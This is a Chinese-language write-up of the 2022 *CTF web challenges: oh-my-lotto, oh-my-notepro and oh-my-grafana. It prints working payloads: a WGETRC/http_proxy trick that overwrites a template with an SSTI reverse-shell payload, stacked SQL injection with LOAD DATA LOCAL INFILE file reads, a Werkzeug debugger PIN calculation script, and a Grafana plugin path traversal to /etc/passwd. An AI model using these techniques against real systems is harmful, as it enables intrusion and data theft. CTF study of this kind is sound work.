2022*CTF-Web 写在前面 XCTF国际赛系列一直不错,周末参与了下这次比赛,虽然没有Java但总体还是蛮有意思
这里没按题目顺序写,只是写了在我心中从上到下的排序,对有源码的题目做了备份
oh-my-lotto
链接: https://pan.baidu.com/s/1G53aYqIIbHGlowdWFhkKqw 提取码: oism
oh-my-lotto 心目中比较有趣的一题呗,重生之我是赌神
这是一个非预期,因为后面又上了个revenge,简单分析下题目,先看看docker内容,可以知道大概的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 version: "3" services: lotto: build: context: lotto/ dockerfile: Dockerfile container_name: "lotto" app: build: context: app/ dockerfile: Dockerfile links: - lotto container_name: "app" ports: - "8880:8080"
之后看看代码,这里面有三个路由,从短到长
首先result路由返回/app/lotto_result.txt
文件内容结果
1 2 3 4 5 6 7 8 9 @app.route("/result" , methods=['GET' ] ) def result (): if os.path.exists("/app/lotto_result.txt" ): lotto_result = open ("/app/lotto_result.txt" , 'rb' ).read().decode() else : lotto_result = '' return render_template('result.html' , message=lotto_result)
forecast
路由可以上传一个文件保存到/app/guess/forecast.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @app.route("/forecast" , methods=['GET' , 'POST' ] ) def forecast (): message = '' if request.method == 'GET' : return render_template('forecast.html' ) elif request.method == 'POST' : if 'file' not in request.files: message = 'Where is your forecast?' file = request.files['file' ] file.save('/app/guess/forecast.txt' ) message = "OK, I get your forecast. Let's Lotto!" return render_template('forecast.html' , message=message)
还有最关键的lotto路由(代码太多就不放完了),可以
1 os.system('wget --content-disposition -N lotto' )
如果预测的值与环境随机生成的相等就能获得flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @app.route("/lotto" , methods=['GET' , 'POST' ] ) def lotto (): elif request.method == 'POST' : //看到flag从环境变量当中取出 flag = os.getenv('flag' ) lotto_key = request.form.get('lotto_key' ) or '' lotto_value = request.form.get('lotto_value' ) or '' lotto_key = lotto_key.upper() if safe_check(lotto_key): os.environ[lotto_key] = lotto_value try : //从内网http://lotto当中获得随机值 os.system('wget --content-disposition -N lotto' ) if os.path.exists("/app/lotto_result.txt" ): lotto_result = open ("/app/lotto_result.txt" , 'rb' ).read() else : lotto_result = 'result' if os.path.exists("/app/guess/forecast.txt" ): forecast = open ("/app/guess/forecast.txt" , 'rb' ).read() else : forecast = 'forecast' if forecast == lotto_result: return flag
其中内网的lotto页面可以看到就是随机生成20个40以内随机数并返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @app.route("/" ) def index (): lotto = [] for i in range (1 , 20 ): n = str (secrets.randbelow(40 )) lotto.append(n) r = '\n' .join(lotto) response = make_response(r) response.headers['Content-Type' ] = 'text/plain' response.headers['Content-Disposition' ] = 'attachment; filename=lotto_result.txt' return response if __name__ == "__main__" : app.run(debug=True , host='0.0.0.0' , port=80 )
同时对于我们能控制的环境变量也有过滤safe_check
,那像p牛之前提到的直接RCE就不行了
1 2 3 4 def safe_check (s ): if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: return False return True
既然题目要求如果预测成功就返回给我flag,那有啥办法能控制吗,这里就用到了PATH
PATH变量
就是用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量
变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是有执行权限
那这样就比较简单了,如果我们控制环境变量PATH
,让他找不到wget
,这样wget --content-disposition -N lotto
就会报错导致程序终止,/app/lotto_result.txt
当中的内容就一直是第一次访问,随机生成的那个值了
访问/lotto获得第一次的结果
访问result页面记录内容下来备用
修改环境变量PATH后,发送预测值,再次访问/lotto即可 可以看到确实得到了flag,其中res.txt是第一次环境随机生成的结果
oh-my-lotto-revenge 做了一个修正,就算预测成功也没有结果返回,那就考虑如何rce了
1 2 3 4 5 if forecast == lotto_result: return "You are right!But where is flag?" else : message = 'Sorry forecast failed, maybe lucky next time!' return render_template('lotto.html' , message=message)
先读文档https://www.gnu.org/software/wget/manual/wget.html#:~:text=6.1-,Wgetrc%20Location,-When%20initializing%2C%20Wget
发现有一个WGETRC
,如果我们能够控制环境变量就可以操纵wget的参数了,这里有很多有意思的变量
这里说两个我解决这个问题用到的,一个是http_proxy,很明显如果配置了这个,本来是直接wget访问http://lotto
的就会先到我们这里做一个转发,我们就可以当一个中间人
1 2 http_proxy = string Use string as HTTP proxy, instead of the one specified in environment.
做个实验,此时再wget以后,成功接收到这个请求
因此我们只需要控制返回内容即可,那既然可以控制内容了,那能否控制目录呢,正好有output_document,相当于-O
参数
1 2 output_document = file Set the output filename—the same as ‘-O file’.
那么我覆盖index.html打SSTI即可
因此得到payload,写入内容为
1 2 http_proxy=http://xxxxx output_document = templates/index.html
控制返回内容为
1 {{config.__class__.__init__.__globals__['os'].popen('反弹shell').read()}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsdef web (): url = "http://xxx/" r = requests.post(url + "forecast" , files={'file' : open ("/Users/y4tacker/PycharmProjects/pythonProject/lottt/y4.txt" , "rb" )}) data = { "lotto_key" : "WGETRC" , "lotto_value" : "/app/guess/forecast.txt" } r = requests.post(url + "lotto" , data=data) print (r.text) if __name__ == '__main__' : web()
oh-my-notepro 好吧又是黑盒,烦死了
登录后,只有一个创建note的功能点,先是测试了下各种SSTI的payload没啥反应,之后猜测是不是要获取到admin的noteid,首先看到这种又臭又长0pn2jtgnfer9zaijadymsmq347eqmay3
的字符肯定是不能爆破,尝试sql注入,经典单引号报错
尝试回显有五列,但是payload这么简单,毕竟是XCTF肯定不可能sql注入就能从数据库拖出flag(大概率无过滤是不可能这么简单的),当然也确实验证了没有flag,甚至没有admin用户
接下来尝试load_file读文件也不行,后面想去看看一些配置信息,一般我们通过类似show variables like xxx
这样去读,但是其实也可以直接通过sql语句拿到global当中的信息
1 select @@global.secure_file_priv
好吧真拿你没办法洛
后面发现local_infile开了,不知道这是啥可以看看CSS-T | Mysql Client 任意文件读取攻击链拓展
那么要利用肯定常规的注入不行,只有一个东西能满足,那就是堆叠注入,简单验证下
1 http://123.60.72.85:5002/view?note_id=0' union select 1,2,3,4,5;select sleep(2)--+
页面确实有延时那验证了我们的猜想,接下来读文件
1 http://123.60.72.85:5002/view?note_id=0' union select 1,2,3,4,5; create table y4(t text); load data local infile '/etc/passwd' INTO TABLE y4 LINES TERMINATED BY '\n'--+
果然可以bro
那么想要rce只剩一个方法咯,都有报错页面了,算算pin呗
需要:
1.flask所登录的用户名
2.modname-一般固定为flask.app
3.getattr(app, “name”, app.class.name) - 固定,一般为Flask
4.在flask库下app.py的绝对路径,通过报错泄漏
5.当前网络的mac地址的十进制数
6.docker机器id
网上直接抄了一个发现不对,简单看了flask生成pin码的地方,在python3.8/site-packages/werkzeug/debug/__init__.py#get_pin_and_cookie_name
发现python3.8以后从原来的md5改成了sha1
那简单写个利用脚本就好了呗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import requestsimport reimport hashlibfrom itertools import chainurl = "http://124.70.185.87:5002/view?note_id=" payload1 = "0' union select 1,2,3,4,5; create table y4(t text); load data local infile '/sys/class/net/eth0/address' INTO TABLE y4 LINES TERMINATED BY '\\n'--+" payload2 = "0' union select 1,2,3,4,5; create table yy4(t text); load data local infile '/proc/self/cgroup' INTO TABLE yy4 LINES TERMINATED BY '\\n'--+" payload3 = "0' union select 1,2,3,(select group_concat(t) from y4),1; --+" payload4 = "0' union select 1,2,3,(select group_concat(t) from yy4),1; --+" headers = { "cookie" :"session=.eJwVi0EKwyAQAL8ie8mlEE3ArP1MWXdXCE21REsJpX-POcxlhvkB1z09WnlqhjvMkwvKHBktRmfD5J1NKj5EXBDZeppVAi5wg0_VPdNL-7UVEiPUyKw5rZuaYdTG45tq_crQZSumUezhOKRewP8E760nRw.YlqN-g.KZrp8S7tsXPS60cPH88awzRI35Q" } r = requests.get(url+payload1,headers=headers) r = requests.get(url+payload2,headers=headers) probably_public_bits = [ 'ctf' 'flask.app' , 'Flask' , '/usr/local/lib/python3.8/site-packages/flask/app.py' ] private_bits = [ str (int (re.search('</h1><pstyle="text-align:center">(.*?)</p></ul>' ,requests.get(url+payload3,headers=headers).text.replace("\n" , "" ).replace(" " ,"" )).groups()[0 ].replace(':' ,'' ),16 )), '1cc402dd0e11d5ae18db04a6de87223d' +re.search('</h1><pstyle="text-align:center">(.*?)</p></ul></body></body></html>' ,requests.get(url+payload4,headers=headers).text.replace("\n" , "" ).replace(" " ,"" )).groups()[0 ].split("," )[0 ].split("/" )[-1 ] ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
oh-my-grafana 之前被爆有任意文件读,不知道有啥插件简单fuzz一下得到
1 /public/plugins/alertGroups/../../../../../../../../etc/passwd
大概看了下文档看看能读些什么配置
先是读了sqlite,dump下来想看看admin密码来着,尝试很多没破解成功,显然是我不懂密码学
不过后面看到了grafana.ini
,里面泄漏了,好吧还成功登陆了
后台啥都无,不过有个添加数据源的地方,显然这里被注释了,但是真的链接成功了
后面就是任意执行sql语句拿下了,没啥难度